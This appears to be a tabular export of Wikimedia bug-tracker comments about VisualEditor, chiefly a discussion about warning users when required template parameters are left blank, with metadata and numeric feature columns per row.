232789,VisualEditor: Incorrectly displaying nested references,I believe that this now has been fixed - compare https://en.wikipedia.org/wiki/Otto_I%2C_Holy_Roman_Emperor with https://en.wikipedia.org/wiki/Otto_I%2C_Holy_Roman_Emperor?veaction=edit to see the reference lists being the same in both cases. Sorry for the slow response.,,,1375383334,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6255kvv4aihzvptanmel,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,13.0,3.0,0.0,16.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.838709677419355,0.8709677419354839,I believe that this now has been fixed - compare URL with URL to see the reference lists being the same in both cases. Sorry for the slow response.
52747,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"TemplateData makes it possible to have 'required' parameters, but not using these parameters in the Template editor, does not alert you of the fact that these parameters are required.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=60358",High,80.0,1372947300,1410982793.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_description,resolved,True,c1,3,True,False,False,0,,0.0,0.0,0.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,11.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.935483870967742,0.6129032258064516,"TemplateData makes it possible to have 'required' parameters, but not using these parameters in the Template editor, does not alert you of the fact that these parameters are required.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
232704,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,Verified the fix in production,,,1411682658,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,Verified the fix in production
232697,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,Verified the fix in test2,,,1411081594,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,63,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,Verified the fix in test2
232692,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,Verified the fix to show confirmation dialog when trying to insert/edit a template with one or more missing required parameters,,,1410991738,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,63,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,5.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,5.0,0.0,0.0,4.909090909090909,0.9545454545454546,Verified the fix to show confirmation dialog when trying to insert/edit a template with one or more missing required parameters
232689,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"There are still some remaining improvements (as always), but the thrust of this bug is now done.",,,1410982793,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,True,,,63,,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.8095238095238093,1.0,"There are still some remaining improvements (as always), but the thrust of this bug is now done."
232686,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Change 156559 merged by jenkins-bot:
Get confirmation when trying to insert/edit template/citation with required parameters missing

https://gerrit.wikimedia.org/r/156559",,,1410982430,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,63,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.961538461538462,0.9615384615384616,"Change 156559 merged by jenkins-bot:
Get confirmation when trying to insert/edit template/citation with required parameters missing

GERRIT_URL"
232683,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Change 156559 had a related patch set uploaded by Alex Monk:
Get confirmation when trying to insert template with required parameters missing

https://gerrit.wikimedia.org/r/156559",,,1409154385,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,60,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,19.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,0.0,0.0,0.0,5.115384615384615,1.0,"Change 156559 had a related patch set uploaded by Alex Monk:
Get confirmation when trying to insert template with required parameters missing

GERRIT_URL"
232680,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,We're also going to require the user to confirm when they try to insert a template with required parameters missing.,,,1409154296,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,True,,,60,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,18.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,5.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,5.0,0.0,9.0,0.0,0.0,0.0,4.409090909090909,0.9090909090909091,We're also going to require the user to confirm when they try to insert a template with required parameters missing.
232675,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"I just used the Cite news template in VE, via the mini-editor. That template has a number of ""required"" parameters. I added just a url (a non-required field), clicked ""Insert citation"", and the dialog closed, posting the citation to the main page.

I also tested the Infobox person template, which uses the regular Template dialog. That template has one required parameter, ""Name"". I ignored that parameter, added another one, filled in the second one, and clicked ""Insert template""; the dialog box closed. And the inserted template did *not* have a value for the one required parameter.

So not only are ""required"" parameters not enforced by VE, but VE doesn't even *warn* the user that one or more required parameters are missing. That is quite unhelpful; it's a missed opportunity for VE to be *better* than the wikitext editor.

(I note, in passing, that the marking of ""required"" fields is, let's say, *subtle* - an uncolored asterisk that doesn't have a tooltip. I hope that subtlety isn't one of the goals of the VE team.)

At minimum, VE should display a warning (pop-up box) that says ""One or more required parameters is missing"". Then the user could choose either to click on ""return to dialog"" or click on ""insert citation""; the latter would finish the dialog.

And NO, Bug 60358 does not address *anything* about the templates creation process (as described above). Bug 60358 is about *editing* an existing template, which is a different thing.",,,1408766440,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,59,,0.0,0.25,0.0,0.0,1.75,4.75,1.0,0.0,0.0,0.0,1.0,0.75,0.0,0.25,0.0,1.5,0.0,4.0,7.5,0.25,0.5,0.25,0.0,0.25,2.5,0.0,0.0,0.25,0.25,0.25,0.0,4.75,0.5,0.25,1.5,0.0,0.0,0.5,1.75,2.0,0.0,0.0,0.0,1.25,0.0,0.0,0.25,0.25,0.5,13.25,0.5,0.75,0.25,1.0,0.0,0.0,0.0,0.0,0.75,0.25,0.5,0.5,0.0,0.5,0.0,0.25,0.0,7.75,2.5,7.75,0.75,2.5,9.5,0.0,0.0,0.0,0.0,3.5,0.25,2.25,0.0,2.0,7.5,2.75,0.0,4.75,0.0,2.0,0.0,1.0,2.5,0.0,1.75,0.75,0.0,0.0,3.6572360872059666,0.6487736660929432,"I just used the Cite news template in VE, via the mini-editor. That template has a number of ""required"" parameters. I added just a url (a non-required field), clicked ""Insert citation"", and the dialog closed, posting the citation to the main page.

I also tested the Infobox person template, which uses the regular Template dialog. That template has one required parameter, ""Name"". I ignored that parameter, added another one, filled in the second one, and clicked ""Insert template""; the dialog box closed. And the inserted template did *not* have a value for the one required parameter.

So not only are ""required"" parameters not enforced by VE, but VE doesn't even *warn* the user that one or more required parameters are missing. That is quite unhelpful; it's a missed opportunity for VE to be *better* than the wikitext editor.

(I note, in passing, that the marking of ""required"" fields is, let's say, *subtle* - an uncolored asterisk that doesn't have a tooltip. I hope that subtlety isn't one of the goals of the VE team.)

At minimum, VE should display a warning (pop-up box) that says ""One or more required parameters is missing"". Then the user could choose either to click on ""return to dialog"" or click on ""insert citation""; the latter would finish the dialog.

And NO, Bug 60358 does not address *anything* about the templates creation process (as described above). Bug 60358 is about *editing* an existing template, which is a different thing."
232668,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"(In reply to Alex Monk from comment #14)
> Is there anything left here to do that isn't bug 60358?

I believe that that will complete this.",,,1408762442,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,True,,,59,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,5.0,0.0,9.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,5.0,18.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.9545454545454546,"(In reply to Alex Monk from comment #14)
QUOTE

I believe that that will complete this."
232660,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,Is there anything left here to do that isn't bug 60358?,,,1408757255,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,True,,,59,,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,15.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,1.0,Is there anything left here to do that isn't bug 60358?
232651,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"I haven't tested required/optional fields in depth, but some casual tests suggest that currently

* Required and optional parameters are presented differently. The required can be seen in a left column, while the optional are in the ""body"". Not the most self-evident UX if you ask me (why not adding labels ""Required"" / ""Optional""?), but you get the idea after filling the first templates.

* Required field aren't still enforced, nor there is any warning when they are left empty.

My expectation as an editor is that a field marked as ""required"" in the documentation it is actually required...",,,1386641485,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,23,,1.5,0.0,0.0,3.5,2.5,5.5,1.5,0.0,0.0,0.5,4.0,1.5,0.0,0.0,1.0,2.0,0.0,6.5,7.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,7.0,0.5,1.0,2.0,1.5,0.0,0.0,1.0,5.5,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,9.5,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,6.5,5.5,5.5,3.5,2.5,7.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,7.0,1.5,1.0,5.5,0.0,4.5,0.0,1.5,2.0,0.5,1.5,0.0,0.5,0.0,3.90625,0.78125,"I haven't tested required/optional fields in depth, but some casual tests suggest that currently

* Required and optional parameters are presented differently. The required can be seen in a left column, while the optional are in the ""body"". Not the most self-evident UX if you ask me (why not adding labels ""Required"" / ""Optional""?), but you get the idea after filling the first templates.

* Required field aren't still enforced, nor there is any warning when they are left empty.

My expectation as an editor is that a field marked as ""required"" in the documentation it is actually required..."
232642,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"I don't see why Wikipedia communities can't be trusted to decide what is *mandatory* and what is not, for template parameters. The communities are, after all, the ones who will live with the consequences of over-specifying or under-specifying such parameters.

It seems a bit paternalistic for the WMF to tell these communities that whether or not they want the software to help ensure that ""required"" parameters are non-blank, that's not going to happen - that WMF considers anything ""required"" to actually be just ""recommended"". 

As an absolute minimum, VE should issue a warning when a ""required"" parameter is left blank.",,,1374454542,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,3,,0.5,1.0,0.0,1.5,3.0,6.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,1.0,8.0,9.0,1.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,6.5,2.5,0.5,1.0,0.0,0.5,0.0,1.0,4.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.5,1.5,1.5,1.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,1.0,1.5,1.0,0.5,1.5,5.5,4.5,5.0,4.5,2.0,6.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,2.0,9.0,2.5,0.0,6.0,0.0,2.0,0.0,3.5,3.0,0.0,2.0,0.0,0.0,0.0,4.053846153846154,0.7307692307692308,"I don't see why Wikipedia communities can't be trusted to decide what is *mandatory* and what is not, for template parameters. The communities are, after all, the ones who will live with the consequences of over-specifying or under-specifying such parameters.

It seems a bit paternalistic for the WMF to tell these communities that whether or not they want the software to help ensure that ""required"" parameters are non-blank, that's not going to happen - that WMF considers anything ""required"" to actually be just ""recommended"". 

As an absolute minimum, VE should issue a warning when a ""required"" parameter is left blank."
232636,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,Not enforcing mandatory params is a bug in either design or implementation.,,,1374447401,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,4.923076923076923,1.0,Not enforcing mandatory params is a bug in either design or implementation.
232631,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Should there be ""not recommended"" parameters (I'd suggest something like ""for experts only"" as a label; if something is ""not recommended"", why have it at all?) should be marked as such by a label, when listed as parameters that *could* be added. 

More generally, I don't think we need to worry much about really complex templates, if (as suggested elsewhere) the template dialog box includes a link to the documentation page for such templates. We don't need to worry much because only editors who are really interested - and motivated to understand the template - are likely to go beyond the parameters that are required and suggested, with the possible exception of editors who (idiosyncratically) use a less common parameter on a regular basis.

In short, a ""required"" and a ""suggested"" list (AND enforcing that the ""required"" list be filled in) would be a huge win for the occasional user of templates.",,,1374079148,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,2,,1.5,1.0,0.0,2.0,2.0,7.0,1.5,0.5,0.0,1.0,3.0,1.5,0.0,1.0,0.5,2.0,0.0,9.5,13.5,1.0,2.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,1.0,0.0,5.0,1.0,0.5,2.5,0.0,0.0,0.0,1.5,4.5,0.0,0.0,0.0,1.0,0.5,0.5,0.0,0.5,0.0,11.5,0.5,0.5,0.5,1.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.5,1.0,1.0,0.0,8.0,4.5,3.5,3.0,2.0,8.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,2.5,13.5,0.5,0.5,6.0,0.0,2.5,0.0,3.0,4.0,0.0,0.5,1.0,0.0,0.0,3.9638706140350877,0.6648026315789474,"Should there be ""not recommended"" parameters (I'd suggest something like ""for experts only"" as a label; if something is ""not recommended"", why have it at all?) should be marked as such by a label, when listed as parameters that *could* be added. 

More generally, I don't think we need to worry much about really complex templates, if (as suggested elsewhere) the template dialog box includes a link to the documentation page for such templates. We don't need to worry much because only editors who are really interested - and motivated to understand the template - are likely to go beyond the parameters that are required and suggested, with the possible exception of editors who (idiosyncratically) use a less common parameter on a regular basis.

In short, a ""required"" and a ""suggested"" list (AND enforcing that the ""required"" list be filled in) would be a huge win for the occasional user of templates."
232628,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Indeed, I gave up doing this for the Portuguese version for now:
https://pt.wikipedia.org/wiki/Template:Info/Taxonomia?uselang=en",,,1373922302,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.5625,0.9375,"Indeed, I gave up doing this for the Portuguese version for now:
URL"
232625,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"This topic came up in http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Duplicate_parameters_in_a_template
and  John Broughton came up with the idea that you really want more types of status: ""required"" - must be set, ""suggested"" - appears automatically on the lhs, and ""optional"". 

I'd possibly add a ""not recommended"" for parameters which are there to cover corner cases but you really don't want the user to enter, the color parameter in the Taxobox is such a case. Its only useful for subtemplate calling taxobox and should almost never be used in an article, but it needs to be documented. 

BTW Taxobox http://en.wikipedia.org/wiki/Taxobox is a nice torture test. It has over 100 parameter, most will not need to be used, but there will be an article using each. Perhaphs 10 of these are the most likely to be used which could be marked as ""suggested"".",,,1373921757,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,2,,0.5,0.0,0.0,3.5,1.5,4.0,2.5,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.5,0.5,0.0,6.0,10.5,0.0,3.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,1.5,0.5,5.0,0.0,2.0,1.5,1.0,0.5,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,10.0,0.5,0.5,0.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,6.0,6.5,6.5,0.5,3.5,9.5,0.0,0.0,0.0,0.0,6.5,0.0,1.0,0.0,3.5,10.5,5.0,0.0,5.0,0.0,3.5,0.0,1.0,3.0,0.0,1.0,0.5,1.0,0.0,3.674698795180723,0.7228915662650602,"This topic came up in URL
and  John Broughton came up with the idea that you really want more types of status: ""required"" - must be set, ""suggested"" - appears automatically on the lhs, and ""optional"". 

I'd possibly add a ""not recommended"" for parameters which are there to cover corner cases but you really don't want the user to enter, the color parameter in the Taxobox is such a case. Its only useful for subtemplate calling taxobox and should almost never be used in an article, but it needs to be documented. 

BTW Taxobox URL is a nice torture test. It has over 100 parameter, most will not need to be used, but there will be an article using each. Perhaphs 10 of these are the most likely to be used which could be marked as ""suggested""."
232622,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,English Wikipedian Joe Decker recommends indicating required parameters perhaps with the standard red asterisk.,,,1373565271,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,27.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.533333333333333,1.0,English Wikipedian Joe Decker recommends indicating required parameters perhaps with the standard red asterisk.
232617,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,%%%*** Bug 51186 has been marked as a duplicate of this bug. ***%%%,,,1373565194,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 51186 has been marked as a duplicate of this bug. ***%%%
232610,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Change 73136 merged by jenkins-bot:
Auto-add required params for user added templates

